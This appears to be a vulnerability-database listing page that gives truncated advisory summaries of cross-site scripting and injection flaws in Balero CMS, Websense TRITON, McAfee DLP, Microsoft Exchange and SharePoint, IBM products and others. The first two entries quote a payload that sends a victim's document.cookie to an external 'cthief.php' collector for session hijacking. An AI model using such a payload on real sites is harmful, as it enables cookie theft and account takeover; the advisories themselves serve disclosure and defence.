Balero CMS 0.7.2 - Multiple JS/HTML Injection Vulnerabilities

document.cookie="counter=1confirm'XSS'; path=/balerocms/"; csrf+stored xss+filter bypass+session hijack: document.location="http://www.zeroscience.mk/pentest/cthief.php?cookie="+docu\ment.cookie;" /...

Balero CMS 0.7.2 Cross Site Scripting

document.cookie="counter=1confirm'XSS'; path=/balerocms/"; csrf+stored xss+filter bypass+session hijack: document.location="http://www.zeroscience.mk/pentest/cthief.php?cookie="+docu\ment.cookie;"...

OpenStack Compute websocket request source incorrect checksum validation hijacking vulnerability

OpenStack is a cloud computing platform developed by Rackspace and NASA to help service providers and on-premises organizations implement cloud infrastructures similar to Amazon EC2 and S3. OpenStack Compute and kilo fails to properly calibrate the source of Websocket requests vulnerability allow...

Multiple Cross-Site Scripting Vulnerabilities in Websense TRITON AP-DATA

Websense TRITON is the Unified Content Architecture for data security. Websense TRITON AP-DATA suffers from multiple cross-site scripting vulnerabilities that can be exploited by remote attackers to inject malicious script or HTML code that can be used to gain access to sensitive information or...

McAfee Data Loss Prevention Endpoint EPO Extended Cross-Site Scripting Vulnerability

McAfee Data Loss Prevention Endpoint DLPe is an integrated endpoint data protection solution from the U.S. company McAfee McAfee. The McAfee Data Loss Prevention Endpoint DLPe epo extension suffers from a cross-site scripting vulnerability that could be exploited by a remote attacker to inject...

Websense TRITON AP-WEB Exception and Scan Exception Page Cross-Site Scripting Vulnerability

Websense TRITON is the Unified Content Architecture for data security. Websense TRITON AP-WEB Exceptions and Scanning Exceptions Pages suffers from a cross-site scripting vulnerability that allows remote attackers to exploit the vulnerability to inject malicious script or HTML code, which can be...

Websense Triton and V-Series HTML Injection Vulnerabilities

Websense TRITON is the Unified Content Architecture for data security. Websense TRITON AP-WEB versions prior to 8.0.0 and V-Series 7.7 appliances suffer from multiple HTML injection vulnerabilities that can be exploited by remote attackers to inject malicious script or HTML code, which can be use...

SuperWebMailer Cross-Site Scripting Vulnerability

SuperWebMailer is a WEB-based email application. A cross-site scripting vulnerability exists in SuperWebMailer defaultnewsletter.php, which allows remote attackers to exploit the vulnerability to inject malicious script or HTML code, which can be used to obtain sensitive information or hijack use...

724CMS Has Multiple Cross-Site Scripting Vulnerabilities

724CMS is a content management system. Multiple cross-site scripting vulnerabilities exist in 724CMS due to the program failing to properly filter user-submitted input. A remote attacker can exploit the vulnerabilities to construct malicious URIs and trick users into parsing them, which can be us...

IBM Rational Quality Manager Cross-Site Scripting Vulnerability (CNVD-2015-01712)

IBM Rational Quality Manager is a collaborative, Web-based quality management solution. An input validation vulnerability exists in IBM Rational Quality Manager. The vulnerability allows remote attackers to construct malicious URIs and trick users into parsing them, which can be used to obtain...

Microsoft Exchange Server Canary Parameter Cross-Site Scripting Vulnerability

Microsoft Exchange Server is an enterprise-class mail service program. A cross-site scripting vulnerability exists in Microsoft Exchange Server's handling of user-submitted parameters, which can be exploited by remote attackers to construct malicious URIs and trick users into parsing them, which...

Microsoft SharePoint Cross-Site Scripting Vulnerability (CNVD-2015-01676)

Microsoft SharePoint Server is an integrated suite of server capabilities that provides comprehensive content management and enterprise search, accelerates shared business processes, and facilitates information sharing across boundaries. Microsoft SharePoint Server fails to properly process...

IBM Rational Team Concert Cross-Site Scripting Vulnerability (CNVD-2015-01717)

IBM Rational Team Concert is a collaboration and development solution. An input validation vulnerability exists in IBM Rational Team Concert. The vulnerability is allowed to be exploited by remote attackers to construct malicious URIs that can be induced to be resolved by the user, which can be...

Microsoft Exchange Server Error Message Cross-Site Scripting Vulnerability

Microsoft Exchange Server is an enterprise-class mail service program. A cross-site scripting vulnerability exists in Microsoft Exchange Server's handling of error messages, which can be exploited by remote attackers to construct malicious URIs that can be tricked into being parsed by the user,...

IBM Rational Team Concert Cross-Site Scripting Vulnerability (CNVD-2015-01716)

IBM Rational Team Concert is a collaboration and development solution. An input validation vulnerability exists in IBM Rational Team Concert. A remote attacker can exploit the vulnerability to construct a malicious URI and trick a user into parsing it, which could result in obtaining a sensitive...

IBM WebSphere Cross-Site Scripting Vulnerability

IBM WebSphere Portal provides a framework for combining application or business mashups and provides a high-level tool to construct flexible, SOA-based solutions. A cross-site scripting vulnerability exists in IBM WebSphere Portal, which can be exploited by a remote attacker to construct maliciou...

Ultimate PHP Board (UPB) Cross-Site Scripting Vulnerability

Ultimate PHP Board is a forum program. A cross-site scripting vulnerability exists in Ultimate PHP Board, which can be exploited by remote attackers to construct malicious URIs and trick users into parsing them, which can be used to obtain sensitive cookies, hijack sessions, or perform malicious...

Webshop hun Cross-Site Scripting Vulnerability

Webshop hun is a WEB-based application. Webshop hun suffers from a cross-site scripting vulnerability that can be exploited by remote attackers to construct malicious URIs and trick users into parsing them, which can be used to obtain sensitive cookies, hijack sessions, or perform malicious...

WordPress 'Max Banner Ads' Plugin Cross-Site Scripting Vulnerability

WordPress is a use of PHP language development blog platform, users can support PHP and MySQL database server set up their own weblog. WordPress "Max Banner Ads" has a cross-site scripting vulnerability that can be exploited by remote attackers to construct malicious URIs, trick users into parsin...

Cross-site scripting vulnerability in tcllib'::html::textarea' function

tcllib is a collection of packages for the Tcl programming language, distributed as both source code and precompiled binaries, and supporting a wide range of common operating systems: Windows, BSD, Unix, and Linux. A cross-site scripting vulnerability exists in the tcllib '::html::textarea'...